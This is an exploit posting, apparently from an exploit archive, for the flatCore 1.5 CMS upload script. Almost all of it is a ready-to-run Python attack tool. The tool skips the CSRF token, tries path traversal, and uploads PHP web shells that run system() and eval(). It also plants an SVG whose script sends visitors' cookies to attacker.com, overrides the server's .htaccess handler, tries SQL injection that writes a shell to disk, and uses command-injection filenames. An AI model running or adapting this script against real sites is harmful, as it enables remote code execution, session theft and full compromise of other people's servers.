Share
## https://sploitus.com/exploit?id=PACKETSTORM:212821
=============================================================================================================================================
    | # Title     : flatCore 1.5 Advanced File Upload Exploit                                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload-script.php                                         |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190428/ &	CVE-2019-13961
    
    [+] Summary :  The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise. 
                   The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code.
    
    		  
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import time
    import random
    import string
    import os
    from concurrent.futures import ThreadPoolExecutor
    
    class FileUploadExploit:
        def __init__(self, target_url, session_cookie):
            self.target_url = target_url
            self.session_cookie = session_cookie
            self.headers = {
                'Cookie': f'PHPSESSID={session_cookie}',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            }
            self.successful_payloads = []
            
        def generate_random_string(self, length=8):
            """Generate random string for filenames"""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
        
        def test_csrf_bypass(self):
            """Test CSRF token bypass by omitting token"""
            print("\n[+] Testing CSRF Token Bypass...")
            
            files = {
                'file': ('test.txt', 'CSRF test content', 'text/plain')
            }
            
            data = {
                'upload_destination': 'images',
                'upload_type': 'images',
                'unchanged': 'yes'
                # No csrf_token parameter
            }
            
            try:
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=15,
                    allow_redirects=False
                )
                
                if response.status_code == 200:
                    print("[โœ“] CSRF bypass successful (no token required)")
                    return True
                else:
                    print(f"[-] CSRF check may be active: {response.status_code}")
                    return False
                    
            except Exception as e:
                print(f"[-] Error testing CSRF: {e}")
                return False
        
        def directory_traversal_attack(self):
            """Test directory traversal in upload_destination parameter"""
            print("\n[+] Testing Directory Traversal...")
            
            traversal_payloads = [
                '../../../index.php',
                '../../../../etc/passwd',
                '../../../../../../../var/www/html',
                '..\\..\\..\\windows\\win.ini',
                '../' * 20 + 'etc/passwd',
                'images/../../../../tmp',
                '/absolute/path/to/target'
            ]
            
            vulnerable = False
            
            for payload in traversal_payloads:
                print(f"  Testing: {payload[:50]}...")
                
                files = {
                    'file': ('traversal.txt', f'Traversal test: {payload}', 'text/plain')
                }
                
                data = {
                    'upload_destination': payload,
                    'upload_type': 'files',
                    'unchanged': 'yes',
                    'file_mode': 'overwrite'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    # Check for unusual success
                    if response.status_code == 200 and len(response.content) < 500:
                        print(f"[โœ“] Possible traversal: {payload}")
                        vulnerable = True
                        
                except requests.exceptions.Timeout:
                    print(f"  [!] Timeout with payload: {payload}")
                except Exception as e:
                    pass
            
            return vulnerable
        
        def upload_web_shells(self):
            """Upload various web shell types with different bypass techniques"""
            print("\n[+] Uploading Web Shells...")
            
            shells = [
                # Basic PHP shell
                {
                    'name': 'shell.php',
                    'content': """<?php
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
    if(isset($_POST['cmd'])) {
        system($_POST['cmd']);
    }
    echo "Web Shell Active";
    ?>""",
                    'mime': 'text/php'
                },
                
                # Double extension
                {
                    'name': 'shell.php.jpg',
                    'content': """GIF89a
    <?php
    if(isset($_REQUEST['pass'])) {
        eval($_REQUEST['pass']);
    }
    ?>""",
                    'mime': 'image/jpeg'
                },
                
                # SVG with PHP
                {
                    'name': 'malicious.svg',
                    'content': """<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg version="1.1" xmlns="http://www.w3.org/2000/svg">
    <!--<?php echo shell_exec($_GET['c']); ?>-->
    <rect width="300" height="100" style="fill:rgb(0,0,255);" />
    <script>document.location='http://attacker.com/steal?c='+document.cookie;</script>
    </svg>""",
                    'mime': 'image/svg+xml'
                },
                
                # .htaccess to allow PHP execution
                {
                    'name': '.htaccess',
                    'content': """AddType application/x-httpd-php .jpg .png .gif
    <FilesMatch "\.(jpg|png|gif)$">
    SetHandler application/x-httpd-php
    </FilesMatch>""",
                    'mime': 'text/plain'
                },
                
                # PHP with null bytes (if PHP version < 5.3.4)
                {
                    'name': 'shell.php%00.jpg',
                    'content': '<?php phpinfo(); ?>',
                    'mime': 'image/jpeg'
                }
            ]
            
            uploaded = []
            
            for shell in shells:
                print(f"  Attempting: {shell['name']}")
                
                files = {
                    'file': (shell['name'], shell['content'], shell['mime'])
                }
                
                # Try different upload parameters
                upload_params = [
                    {
                        'upload_destination': 'images',
                        'upload_type': 'images',
                        'unchanged': 'yes',
                        'file_mode': 'overwrite'
                    },
                    {
                        'upload_destination': 'files',
                        'upload_type': 'files',
                        'unchanged': 'yes',
                        'file_mode': 'overwrite'
                    }
                ]
                
                for params in upload_params:
                    try:
                        response = requests.post(
                            self.target_url,
                            headers=self.headers,
                            files=files,
                            data=params,
                            timeout=15
                        )
                        
                        if response.status_code == 200:
                            print(f"[โœ“] Uploaded: {shell['name']}")
                            uploaded.append({
                                'filename': shell['name'],
                                'params': params
                            })
                            break
                            
                    except Exception as e:
                        print(f"  [-] Error: {e}")
            
            return uploaded
        
        def test_sql_injection(self):
            """Test SQL injection via filename or other parameters"""
            print("\n[+] Testing SQL Injection...")
            
            sql_payloads = [
                # Time-based SQLi
                "test' AND SLEEP(5)--.jpg",
                "test' OR BENCHMARK(5000000,MD5('test'))--.jpg",
                
                # Error-based SQLi
                "test' AND ExtractValue(1,CONCAT(0x5c,USER()))--.jpg",
                
                # Union-based (if we can see output)
                "test' UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.jpg"
            ]
            
            for payload in sql_payloads:
                print(f"  Testing: {payload}")
                
                files = {
                    'file': (payload, 'SQLi test', 'image/jpeg')
                }
                
                data = {
                    'upload_destination': 'images',
                    'upload_type': 'images',
                    'unchanged': 'yes'
                }
                
                try:
                    start_time = time.time()
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=30
                    )
                    elapsed = time.time() - start_time
                    
                    if elapsed > 5:
                        print(f"[โœ“] Time-based SQLi possible: {elapsed:.2f}s delay")
                        return True
                        
                    if "SQL" in response.text or "syntax" in response.text.lower():
                        print("[โœ“] Error-based SQLi detected")
                        return True
                        
                except requests.exceptions.Timeout:
                    print("[โœ“] Timeout - SQL injection successful")
                    return True
                except Exception:
                    pass
            
            return False
        
        def test_path_manipulation(self):
            """Test path manipulation in filename cleaning function"""
            print("\n[+] Testing Path Manipulation...")
            
            malicious_filenames = [
                "../../../shell.php",
                "....php",  # Becomes .php after cleaning
                "shell.php.",
                "shell.php ",
                "shell.php%0d%0a.jpg",
                ";ls -la;.jpg",
                "$(whoami).jpg"
            ]
            
            for filename in malicious_filenames:
                print(f"  Testing filename: {filename}")
                
                files = {
                    'file': (filename, 'test', 'text/plain')
                }
                
                data = {
                    'upload_destination': 'files',
                    'upload_type': 'files',
                    'unchanged': 'yes'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    if response.status_code == 200:
                        print(f"[โœ“] Accepted filename: {filename}")
                        
                except Exception:
                    pass
        
        def test_file_size_limit_bypass(self):
            """Test file size limit bypass"""
            print("\n[+] Testing File Size Limit Bypass...")
            
            # Create a large file
            large_content = "A" * (1024 * 1024 * 100)  # 100MB
            
            files = {
                'file': ('large_file.txt', large_content, 'text/plain')
            }
            
            data = {
                'upload_destination': 'files',
                'upload_type': 'files',
                'unchanged': 'yes',
                'fz': '999999999'  # Set huge file size limit
            }
            
            try:
                print("  Uploading 100MB file...")
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=60
                )
                
                if response.status_code == 200:
                    print("[โœ“] Large file upload possible")
                    return True
                    
            except Exception as e:
                print(f"  [-] Error: {e}")
            
            return False
        
        def brute_force_upload_locations(self):
            """Brute force potential upload locations"""
            print("\n[+] Brute Forcing Upload Locations...")
            
            common_locations = [
                'images',
                'files',
                'uploads',
                'upload',
                'media',
                'content',
                'img',
                'pictures',
                'docs',
                'assets',
                'tmp',
                'temp',
                'cache'
            ]
            
            found_locations = []
            
            for location in common_locations:
                files = {
                    'file': ('test.txt', 'test', 'text/plain')
                }
                
                data = {
                    'upload_destination': location,
                    'upload_type': 'files',
                    'unchanged': 'yes'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    if response.status_code == 200:
                        print(f"[โœ“] Found location: {location}")
                        found_locations.append(location)
                        
                except Exception:
                    pass
            
            return found_locations
        
        def verify_shell_access(self, uploaded_shells, base_url):
            """Verify if uploaded shells are accessible"""
            print("\n[+] Verifying Shell Access...")
            
            accessible = []
            
            # Try common paths
            test_paths = [
                f"{base_url}/content/images/",
                f"{base_url}/content/files/",
                f"{base_url}/images/",
                f"{base_url}/files/",
                f"{base_url}/uploads/",
                f"{base_url}/../content/images/"
            ]
            
            for shell in uploaded_shells:
                for path in test_paths:
                    shell_url = f"{path}{shell['filename']}"
                    
                    try:
                        # Test PHP shell
                        if shell['filename'].endswith('.php'):
                            test_url = f"{shell_url}?cmd=echo+SUCCESS"
                            response = requests.get(test_url, timeout=10)
                            
                            if "SUCCESS" in response.text or "Web Shell Active" in response.text:
                                print(f"[โœ“] Shell accessible: {shell_url}")
                                accessible.append(shell_url)
                                break
                        
                        # Test file existence
                        else:
                            response = requests.head(shell_url, timeout=10)
                            if response.status_code == 200:
                                print(f"[โœ“] File accessible: {shell_url}")
                                accessible.append(shell_url)
                                break
                                
                    except Exception:
                        pass
            
            return accessible
        
        def run_full_exploit(self):
            """Run all exploitation techniques"""
            print(f"[*] Starting comprehensive attack on: {self.target_url}")
            print(f"[*] Using session cookie: {self.session_cookie[:20]}...\n")
            
            results = {
                'csrf_bypass': False,
                'directory_traversal': False,
                'sql_injection': False,
                'file_size_bypass': False,
                'uploaded_shells': [],
                'found_locations': [],
                'accessible_shells': []
            }
            
            # Run tests
            results['csrf_bypass'] = self.test_csrf_bypass()
            results['directory_traversal'] = self.directory_traversal_attack()
            results['sql_injection'] = self.test_sql_injection()
            results['file_size_bypass'] = self.test_file_size_limit_bypass()
            results['found_locations'] = self.brute_force_upload_locations()
            self.test_path_manipulation()
            
            # Upload shells
            results['uploaded_shells'] = self.upload_web_shells()
            
            # Extract base URL for verification
            base_url = self.target_url[:self.target_url.rfind('/')]
            base_url = base_url[:base_url.rfind('/')]
            
            # Verify access
            results['accessible_shells'] = self.verify_shell_access(
                results['uploaded_shells'], 
                base_url
            )
            
            # Print summary
            print("\n" + "="*60)
            print("[+] EXPLOITATION SUMMARY")
            print("="*60)
            
            for key, value in results.items():
                if isinstance(value, list):
                    print(f"{key.replace('_', ' ').title()}: {len(value)} found")
                    if value and key in ['uploaded_shells', 'accessible_shells']:
                        for item in value[:3]:  # Show first 3
                            print(f"  - {item}")
                else:
                    status = "โœ“" if value else "โœ—"
                    print(f"{status} {key.replace('_', ' ').title()}")
            
            print("\n[+] Recommended next steps:")
            if results['accessible_shells']:
                print("  1. Execute commands via: shell.php?cmd=whoami")
                print("  2. Upload more advanced reverse shell")
                print("  3. Explore file system: ?cmd=ls+-la")
            else:
                print("  1. Try different upload parameters")
                print("  2. Check server logs for errors")
                print("  3. Use directory traversal to find upload location")
            
            return results
    
    def main():
        if len(sys.argv) < 3:
            print("Usage: python exploit.py <target_url> <session_cookie>")
            print("Example: python exploit.py http://target.com/admin/upload.php abc123session456")
            sys.exit(1)
        
        target_url = sys.argv[1]
        session_cookie = sys.argv[2]
        
        exploit = FileUploadExploit(target_url, session_cookie)
        results = exploit.run_full_exploit()
        
        # Save results to file
        with open('exploit_results.txt', 'w') as f:
            import json
            f.write(json.dumps(results, indent=2))
        
        print("\n[*] Results saved to exploit_results.txt")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================